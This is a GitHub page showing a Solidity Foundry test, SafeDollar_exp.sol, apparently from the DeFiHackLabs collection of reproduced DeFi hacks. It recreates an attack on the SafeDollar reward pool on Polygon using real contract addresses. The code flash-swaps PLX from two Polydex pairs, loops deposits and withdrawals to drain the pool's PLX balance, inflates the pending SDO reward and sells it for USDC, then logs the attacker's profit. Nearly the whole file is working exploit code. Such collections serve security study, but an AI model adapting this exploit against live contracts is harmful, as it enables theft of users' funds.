forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 1
/
SafeDollar_exp.sol
202 lines (171 loc) · 7.31 KB
/
SafeDollar_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
interface SdoRewardPOOL{
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function harvestAllRewards() external;
function updatePool(uint256 _pid) external;
function pendingReward(uint256, address) external returns(uint256);
}
interface PolydexRouter{
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract depositToken{
IERC20 SDO = IERC20(0x86BC05a6f65efdaDa08528Ec66603Aef175D967f);
IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);
IERC20 PLX = IERC20(0x7A5dc8A09c831251026302C93A778748dd48b4DF);
IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
Uni_Router_V2 Router = Uni_Router_V2(0xe5C67Ba380FB2F70A47b489e94BCeD486bb8fB74);
SdoRewardPOOL Pool = SdoRewardPOOL(0x17684f4d5385FAc79e75CeafC93f22D90066eD5C);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function depositPLX() payable external{
address(WMATIC).call{value: 1 ether}("");
address [] memory path = new address[](2);
path[0] = address(WMATIC);
path[1] = address(PLX);
WMATIC.approve(address(Router), type(uint).max);
PLX.approve(address(Pool), type(uint).max);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WMATIC.balanceOf(address(this)),
0,
path,
address(this),
block.timestamp
);
Pool.deposit(uint256(9), PLX.balanceOf(address(this)));
}
function withdrawPLX() external{
Pool.withdraw(uint256(9), PLX.balanceOf(address(Pool)));
}
function sellSDO() external{
address [] memory path = new address[](2);
path[0] = address(SDO);
path[1] = address(USDC);
USDC.approve(address(Router), type(uint).max);
SDO.approve(address(Router), type(uint).max);
// require(SDO.balanceOf(address(this)) < type(uint112).max, "overflow");
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
// SDO.balanceOf(address(this)),
20_000_000_000_000 * 1e18,
0,
path,
address(this),
block.timestamp
);
}
}
contract ContractTest is DSTest{
IERC20 SDO = IERC20(0x86BC05a6f65efdaDa08528Ec66603Aef175D967f);
IERC20 WMATIC = IERC20(0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270);
IERC20 PLX = IERC20(0x7A5dc8A09c831251026302C93A778748dd48b4DF);
IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);
IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);
Uni_Router_V2 Router = Uni_Router_V2(0xe5C67Ba380FB2F70A47b489e94BCeD486bb8fB74);
SdoRewardPOOL Pool = SdoRewardPOOL(0x17684f4d5385FAc79e75CeafC93f22D90066eD5C);
Uni_Pair_V2 Pair1 = Uni_Pair_V2(0xD33992A7367523B04949C7693d6506d4a7e19446); // WETH PLX
Uni_Pair_V2 Pair2 = Uni_Pair_V2(0x948d4AE4e9Ebf2AC6E787D29B94d0fF440EF2e4D); // WMATIC PLX
uint amounts0;
uint amounts1;
address addressContract;
uint reserve0Pair1;
uint reserve1Pair1;
uint reserve0Pair2;
uint reserve1Pair2;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("polygon", 16225172);
}
function testExploit() public payable {
PLX.approve(address(Pool), type(uint).max);
WMATIC.approve(address(Router), type(uint).max);
(reserve0Pair1, reserve1Pair1, ) = Pair1.getReserves();
(reserve0Pair2, reserve1Pair2, ) = Pair2.getReserves();
address(WMATIC).call{value: 10000 ether}("");
// depost PLX
ContractFactory();
(bool success, ) = addressContract.call{value: 1 ether}(abi.encodeWithSignature("depositPLX()"));
//revert();
require(success);
// change block.timestamp
cheats.warp(block.timestamp + 5 * 60 * 60);
amounts0 = PLX.balanceOf(address(Pair1)) - 1 * 1e18;
Pair1.swap(amounts0, 0, address(this), new bytes(1));
// change block.timestamp
cheats.warp(block.timestamp + 5 * 60 * 60 +1);
uint amountreward = Pool.pendingReward(uint(9), addressContract);
(bool success1, ) = addressContract.call(abi.encodeWithSignature("withdrawPLX()"));
require(success1);
emit log_named_decimal_uint(
"Attacker SDO profit after exploit",
SDO.balanceOf(addressContract),
18
);
(bool success2, ) = addressContract.call(abi.encodeWithSignature("sellSDO()"));
require(success2);
WMATIC.balanceOf(address(this));
emit log_named_decimal_uint(
"Attacker USDC profit after exploit",
USDC.balanceOf(addressContract),
6
);
}
function polydexCall(address sender, uint amount0, uint amount1, bytes calldata data) public{
if(msg.sender == address(Pair1)){
amounts1 = PLX.balanceOf(address(Pair2)) - 1e18;
Pair2.swap(0, amounts1, address(this), new bytes(1));
// flashswap callback pair1
uint amountPLX0 = PLX.balanceOf(address(this));
uint amountBuy = (amounts0 - amountPLX0) * 1011 / 1000 *1000 / 995;
buyPLX(amountBuy);
PLX.transfer(address(Pair1), PLX.balanceOf(address(this)));
// exploiter repay WETH to pair, but i dont konw how get weth on ploygon, weth-wmatic lack of liquidity ,i choose to repay plx
// uint PLXInPari1 = PLX.balanceOf(address(Pair1));
// uint WETHInPair1 = WETH.balanceOf(address(Pair1));
// uint amountWETH =
// (reserve0Pair1 * reserve1Pair1 / ((PLXInPari1 * 1000 - (amountPLX0 * 2 * 995 / 1000)) / 1000) - WETHInPair1) * 1000 / 998;
// buyWETH(amountWETH);
// PLX.transfer(address(Pair1), amountWETH);
}
if(msg.sender == address(Pair2)){
//reduced lptoken
while(PLX.balanceOf(address(Pool)) > 100){
uint256 amount = PLX.balanceOf(address(this));
if(PLX.balanceOf(address(this)) * 5 / 1000 > PLX.balanceOf(address(Pool))){
amount = PLX.balanceOf(address(Pool)) * 1000 / 5;
}
Pool.deposit(uint256(9), amount);
Pool.withdraw(uint256(9), amount);
}
// flashswap callback pair2
PLX.transfer(address(Pair2), amounts1 * 1000 / 995 + 1e18);
}
}
function ContractFactory() public{
address _add;
bytes memory bytecode = type(depositToken).creationCode;
assembly{
_add := create2(0, add(bytecode, 32), mload(bytecode), 1)
}
addressContract = _add;
}
function buyPLX(uint amount) public{
address [] memory path = new address[](2);
path[0] = address(WMATIC);
path[1] = address(PLX);
Router.swapTokensForExactTokens(
amount,
WMATIC.balanceOf(address(this)),
path,
address(this),
block.timestamp
);
}
}